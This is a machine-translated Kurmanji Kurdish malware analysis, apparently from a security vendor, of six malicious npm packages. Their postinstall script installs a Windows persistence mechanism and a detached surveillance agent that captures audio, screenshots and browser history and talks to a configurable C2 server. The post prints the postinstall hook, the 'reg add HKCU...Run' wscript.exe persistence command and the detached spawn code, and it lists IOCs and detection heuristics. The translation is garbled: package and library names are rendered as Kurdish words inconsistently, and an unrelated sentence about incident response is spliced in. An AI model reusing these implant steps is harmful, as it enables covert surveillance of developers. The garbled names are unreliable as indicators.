Êrîşa DevTap npm Typosquatting

Êrîşa DevTap npm Typosquatting: Şeş Pakêtên Xerabkar Armancê Îstasyonên Kar ên Pêşdebiran Dikin

TL; DR

Di navbera 1ê Nîsana û 3ê Gulana 2026an de, yek weşangerê npm, user0001, bi navnîşana Gmail a nepejirandî qeydkirî ye tanvisoul9@gmail.com, bi bêdengî şeş pakêt bi navên bi zanebûn bêwate û bi dengekî bilind wek binesaziyê şandin: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, û node-env-resolve.

Du versiyonên herî dawî yên node-env-resolve, 1.0.7 û 1.0.8, di 2ê Gulanê de ji hêla pergala Hişyariya Zû ya Malware (MEW) ya Xygeni ve hatin nîşankirin û di 3yê Gulanê de wekî zirardar hatin piştrastkirin.

Çêkirina împlantê ji bo tiştê ku ew nîne neasayî ye: ne botên Telegramê hene, ne gazîkirinên OAST hene, ne jî obfuscation, û di dema sazkirinê de hewldanek ji bo wergirtina bawernameyên AWS tune. Di şûna wê de, postinstall.js têketinek boot-persistence ya Windows-ê diçîne, bi karanîna mifteyek HKCU Run ku dest pê dike. wscript.exe li dijî stûbeke VBS. Dûv re ew ajanek Node.js a veqetandî çêdike ku modulên ji bo girtina mîkrofonê, dizîna dîroka gerokê, kişandina dîmenderê, û simulasyona mişk/klavyeyê li hev dicivîne.

Em vê klûbê re dibêjin DevTap, piştî kîtê ew li ser makîneya pêşdebiran dixebite.

Her şeş pakêt di dema nivîsandina vê gotarê de li ser npm zindî bûn. Me ew ji kanala îstismarkirinê ya qeydkirinê re şandin. Parêzer divê her sazkirinên ku li benda rakirinê ne ji weşanger vekişînin.

Kom: Şeş Pakêt, Yek Weşanxane

Hesabê weşanger user0001 nehatiye verastkirin. Ew tune ye SCM verastkirin, e-nameyek girêdayî domainê tune, û dîroka berê tune. Desteka Gmail-ê tanvisoul9 di tu tomarên din ên weşanxaneya npm-ê de ku me dîtiye xuya nake.

Her şeş pakêt heman parêzvan navnîş dikin, ji heman hesabê hatine weşandin, û heman tiştî parve dikin package.json standard. Tune ye repository, na homepageû no description ji rêzekê dirêjtir.

Stratejiya navlêkirinê beşa balkêş e. Berevajî kampanyaya tevliheviya girêdayîbûnê ya klasîk an jî kampanyaya typosquat, ti ji van navan pirtûkxaneyek jorîn a taybetî hedef nagire. Di şûna wê de, ew hatine kalibr kirin da ku di nav rastiyek de winda bibin. package.json or npm ls karûabr.

PakêtYekem weşandinGuhertoya NûzeguhertoyênRol di Komê de
centralogger2026-04-01 12:46 UTC1.0.95, ji 1.0.5 heta 1.0.9Bergê "amûra tomarkirinê" ya klusterê; weşana herî zû
dom-utils-lite2026-04-14 07:36 UTC1.0.33Bergê alîkarê DOM-ê yê gelemperî
node-fetch-lite2026-04-19 10:22 UTC1.0.23Malbata mîmîk node-fetch
ajana-girêder2026-04-25 05:12 UTC1.0.01Navê gelemperî "ajan"
dema-xebitandina-node-gyp2026-04-25 05:17 UTC1.0.01Amûrên avakirina modulên xwemalî yên mîmîk dike
çareseriya-env-ya-node2026-04-25 05:21 UTC1.0.910, ji 1.0.0 heta 1.0.9Dilopkera çalak; împlanta tevahî

Names like centralogger, node-fetch-lite, û node-gyp-runtime di nirxandina kodê de bê nakokî xuya dikin hatine sêwirandin. Ew dişibin tiştên ku berê di dara girêdayîbûna projeyê de ne.

Digel weşangerekî nû û neverastkirî û girêdanên depoyê yên winda, ew qalibek naskirî çêdikin: aktorek navên kêm-kêşeyî di nav qeydê de diçîne, dûv re bi lez li ser ya girîng dubare dike. Di vê rewşê de, node-env-resolve di heşt rojan de deh versiyon wergirtin.

Çi li ser Windows Dev Box-ê dikeve

Zincîra xerabkar li ser node-env-resolve:1.0.8 ji bo RAT-ek npm kurt, rasterast, û ji hêla taybetmendiyên neasayî ve dewlemend e.

Piştî sazkirinê: Berdewamî û Ajansa Veqetandî

package.json çengelek sazkirinê ya yekane diyar dike:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js sê tiştan bi rêzê dike.

Pêşî, ew peldankek sazkirinê li derveyî dara npm-ê datîne. Rê di dema xebitandinê de di skrîptê de wekî tê hesibandin. INSTALL_DIRPaşê ew navxînî dimeşîne execSync('npm install --production --silent ...') di hundirê wê de ji bo kişandina girêdayîbûnên dema xebitandinê yên împlantê. Ev ajan li ser dîskê li cîhekî rêbernameyek datîne. node_modules denetim dê neyê dîtin.

Ya duyemîn, ew destpêkerek VBS dinivîse û wê ji bo domdariya bootê tomar dike:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe Windows Script Host e, peldankek binary a Microsoft-ê ya îmzekirî ye ku dimeşe. .vbs pelên bêyî pencereya konsolê. Ew pêş ecisji ber vê yekê ew ji bo stubên autorun tê tercîh kirin.

Di heman demê de berhevokek jî heye reg delete rêya hundir src/index.js, ku pêşniyar dike ku împlant bi fermana operator wisa hatiye çêkirin ku bi paqijî were rakirin.

Sêyemîn, ew pêvajoyek zarokê ya cuda çêdike:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

Du hûrgulî li vir girîng in.

SERVER_URL ji jîngehê tê xwendin. Di encamê de, xala dawî ya C2 li gorî bicihkirinê dikare were mîhengkirin û di pakêtê de nayê pijandin. Ew hilbijartina piçûk lê bi zanebûn piraniya sweepkirinên statîk-IOC têk dibe.

Her wiha, zarokê ku çêdibe tevahiya jîngeha dêûbav mîras digire. Ji ber vê yekê, her NPM_TOKEN, AWS_*, GITHUB_TOKEN, an jî soketa SSH-agentê ku di dema sazkirinê de di qalika pêşdebiran de heye, diçe bîra ajana temendirêj.

Ajant bi çi dişîne

Pakêtkirî src/ tree sê modulan dihewîne ku navên wan bi tena serê xwe çîrokê vedibêjin: audioCapture.js, browserHistory.js, û systemInfo.js.

Lîsteya girêdayîbûna dema xebitandinê, di dema qonaxkirinê de çareser bû. npm install, wan piştrast dike.

Ev rêbaz bûyerek kaotîk vediguherîne bersiveke kontrolkirî.

Li şûna ku bi korî bertek nîşan bidin, tîm bi wan re tevdigerin pêşîniyên zelal û sererastkirina bilez.

GirêdayîDi vê rewşê de ji bo çi ye
dîmendera-sermaseyêGirtina ekranê ya periyodîk
@çalakiya-darê-gûzan/js-ên-gûzanOtomasyon / simulasyona têketinê ya mişk û klavyeyê
çêtir-sqlite3Xwendinên rasterast ên databasa SQLite ya Chrome, Edge, û Dîroka Firefoxê
adm-zipBerhevkirina berhemên berhevkirî berî derxistinê
tûjMezinahîkirin / pêlkirina wêneyên ekranê û berhemên wêneyan
socket.io-muwekîlKanala C2 ya dualî ya domdar
nasnameya-makîneya-girêkêŞopa tiliya her-mêvandar a sabît ji bo şopandina qurbaniyê

systemInfo.js bang dikin os.networkInterfaces() ji bo şopa tiliyên zêde berî îşareta yekem.

Çima Girtina Deng Sînyala Berbiçav e

Piraniya RAT-ên npm-ê yên ku em di MEW-ê de triyaj dikin, di diziya veşartî ya dema sazkirinê de radiwestin. Ew dixwînin ~/.npmrc, bixwîne ~/.aws/credentials, xêzkirin process.env, POST li ser webhookekê bişîne, û derkeve. Ev li gorî modela aborî ya "şikandin û girtin" e. Nîv-jiyana bawernameyan kurt e, û êrîşkar hewce dike ku zû pere qezenc bike.

node-env-resolve bi şiklê cuda ye.

Berdewamiya ji bo ji nû ve destpêkirinê sax bimîne hatîye sazkirin. Ajan di bin de serbixwe û demek dirêj dixebite. wscript.exeAmûrên ku ew hildigire ji bo li ser makîneya pêşdebiran e, ne ji bo girtin û hiştinê: tomarkerek mîkrofonê, ajokerek klavyeyê/mişkê, dîroka gerokê ya tevahî, girtina ekranê, û kanalek Socket.IO ya înteraktîf vedigere C2-yek mîhengbar.

Bi taybetî girtina mîkrofonê ew xêza ku ev kampanya derbas dibe ye ku piraniya malwareyên npm derbas nakin.

Qada xebatê ya pêşdebiran, her ku diçe, ew qad e ku pêşdebir li wir stand-up, bangên xerîdaran, nîqaşên sêwiranê û pirên nobedariyê digirin. Împlantek ku mîkrofonê tomar dike ne bi rastî li dû nîşana npm ya pêşdebir e. Ew li dû tiştê ku pêşdebir li ber laptopê dibêje ye.

Ew koma şiyanan, digel nebûna tevliheviyê û nebûna her derxistina berbiçav a di dema sazkirinê de, wekî pêş-pozîsyonkirin ji bo gihîştina armanckirî tê xwendin ne wekî diziya fersendperest a bawernameyan.

Em tenê ji vê yekê îdia nakin. Em profîla operasyonel destnîşan dikin.

êrîşa npm typosquatting - DevTab

Kadansa dubarekirina heşt rojan li ser node-env-resolve detaya herî girîng a operasyonel di rêza demê de ye.

Ev ne dakêşanek agir-û-jibîrkirin e. Weşanxane bi awayekî çalak dakêşanê diparêze, ku bi gelemperî tê vê wateyê ku yek ji du tiştan e. An ew wê li gorî jîngehên ceribandinê berî belavkirina berfirehtir mîheng dikin, an jî wan berê telemetrîya sazkirinê vegerandiye û bersivê didinê.

Pênc pakêtên din piştî weşandina xwe ya destpêkê bi bandor ti windabûn nedîtin. Ev ji bo koma piştgirî li gorî qalibek "carekê qonax, nav lê were hiştin" e, di heman demê de hewldana endezyariyê li ser pakêta ku kar dike disekine.

Danasîn: Nîşaneyên Biçûk, Bê Biryareke Sabît

Alenî OSINT sînyalên zirav in, û em ê wan dirêj nekin. Tiştê ku tê dîtin:

Destgîrkera Gmailê tanvisoul9 qismî dişibihe navekî Başûrê Asyayê, "Tanvi." Ev nîşanek qels e. Destgirên Gmail nasname nînin, û yên li paş soul9 gelemperî ye. Tenê ji beşa herêmî ya e-nameyê texmînkirina erdnîgariyê ne ewle ye.

Şêwaza kodê Node.js ne girîng e: standard bangên pirtûkxaneyê yên wekî os, child_process, spawn, û reg addNe tevlihevkirin, ne zivirandina rêzikan, û ne jî mantiqa dijî-çareserkirinê heye. Nivîskar bi prîmîtîvên qeyda Windows-ê û orkestrasyona pêvajoyên zarok-veqetandî rehet e, lê xuya nake ku bigihîje hunerek veşartîtir ku ew dikarin bi îhtîmalek mezin bikar bînin.

Girêdayîbûn bi tevahî ji refê ne û baş têne zanîn: screenshot-desktop, nut-js, better-sqlite3, û socket.io-clientJi bilî pirtûkek dersê, ne protokola xwerû, ne stûna C2 ya ji sifirê hatî çêkirin, û ne jî hîleyek domdariyê ya nû heye. Kilîda Xebitandina HKCUEv entegratorekî jêhatî ye, ne nivîskarekî amûran e.

Me di hundirê berhemên weşandî de rêzikên ne-îngilîzî, şîroveyên çandî, daneyên herêmî, an şopa tiliyên herêma demê ya derana berhevkar nedîtin.

Me ji bo hevahengiya kodê bi kampanyayên berê yên ku em jixwe dişopînin, kontrol kir, di nav de Shai Hulud, Owlivion, Buildkite, û heibai ya dawî / claude-code-best Malbata klona Anthropic-CLI. Me tiştek nedît: ne şablonên C2 yên hevpar, ne sêwirana pelan a hevpar, û ne jî îdyomên hevpar.

Tiştê ku em ê nebêjin: ku ev aktorekî dewletê ye, komeke naskirî ye, an jî ji hêla erdnîgarî ve bi welatekî taybetî ve girêdayî ye.

Profîla operasyonel lihevhatî ye bi tîmek piçûk û jêhatî ya navîn ku çavdêriya stasyona pêşdebiran dike. Ew bi îhtîmalek mezin ji hêla karanîna gihîştinê ya paşîn ve ji hêla darayî ve tê motîve kirin, lê dibe ku ji hêla keşfê-wek-xizmetek ji bo kirrûbirek cuda ve jî.

Du xalên nerasterast piştgirî didin vê xwendinê: dûrketina ji mekanîzmayên derxistina balê yên ku dê komê zû bişewitînin, wekî botên Telegramê, oastify.com, an jî canarytokens, û navên pakêtên bi qesdî bêwate, ku sazkirinên bêdeng ên dûvikdirêj li şûna zêdebûnek kurt a bi qebareya bilind tercîh dikin.

Nîşaneyên Têkçûnê û Tesbîtkirinê

Pakêt û Weşanxane
ErdGiranî
weşanxaneya npmuser0001
E-nameya weşangertanvisoul9@gmail.com, nehatiye piştrastkirin
pakêtêncentralogger, dom-utils-lite, node-fetch-lite, ajana-girêder, dema-xebitandina-node-gyp, çareseriya-node-env
Xirabkar hatiye piştrastkiringirêka-eşkere-çareseriyê@1.0.7, girêka-eşkere-çareseriyê@1.0.8
Berhemên Host
AwaGiranî
Kilîda berdewamiyêHKCU\Software\Microsoft\Windows\CurrentVersion\Run
Nirxa berdewamiyêNavê guhêrbar; daneyên forma wscript.exe " \\ .vbs"
Çengelê saz bikepostinstall: girêka postinstall.js di manîfestoya pakêtê de
Modulên împlantêsrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
Rêbernameya qonaxanINSTALL_DIR li derveyî node_modules ya projeyê çareser bû; cîh ji hêla postinstall.js ve di dema sazkirinê de hate destnîşankirin.
Têkelî
AwaGiranî
Veguhestina C2socket.io-client, kanala dualî ya domdar
Xala dawî ya C2Bi rêya guhêrbarê jîngeha SERVER_URL ji ajan re tê peyda kirin; di nav berhemên weşandî de bi kodkirina hişk nehatiye tomar kirin.

Nîşeyên Tesbîtkirinê

Du rêzik vê malbatê bêyî hewcedariya xala dawî ya C2 digirin.

Pêşî, skrîptên piştî sazkirinê yên ku karekî navxweyî pêk tînin nîşan bikin npm install nav rêyeke li derveyî pelrêça pakêtê bi xwe. Her dakêşkerek pêş-avakirinê ya rewa, wek mînak node-gyp ji nû ve çêkirin an dakêşanên duqatî yên pêşwext hatine çêkirin, di hundurê pakêtê de an jî di platformê de dinivîse-standard rêyên cache bi hashên piştrastkirî. Ew di nav kopiyek nû çêkirî de nanivîse. INSTALL_DIR li cîhek din li ser dîskê.

Ya duyemîn, skrîptên piştî sazkirinê yên ku pirsgirêk hene nîşan bikin reg add HKCU\…\Run bi wscript.exe wekî destpêker. Ev di bingeh de ji pakêtek npm qet ne rewa ye. Nîşan bike û karantînayê bike.

Heurîstîkek sêyemîn ji bo dîtina pakêta xwişk û birayê din berî ku were piştrast kirin kêrhatî ye: weşangerek npm ya nû bêyî SCM verastkirin, e-nameyek Gmail, na repository zeviyê, û gelek navên pakêtên kurt, gelemperî, ku dişibin binesaziyê ku di nav çend rojan de ji hev cuda têne weşandin, bi tena serê xwe, ji bo nirxandina destî bes e.

Ji qeyda npm re hat ragihandin. Dema ku hesabê weşanger were rakirin, em ê vê postê nûve bikin.

amûrên-nermalava-berhevkirinê-ya-sca-amûran
Rîskên nermalava xwe bidin pêşanî, sererast bikin û ewle bikin
Hesabê xwe yê Belaş bistînin.
Qerta krediyê ne hewce ye.

Pêşvebirin û Radestkirina Nermalava Xwe Ewle Bike

bi Xygeni Product Suite re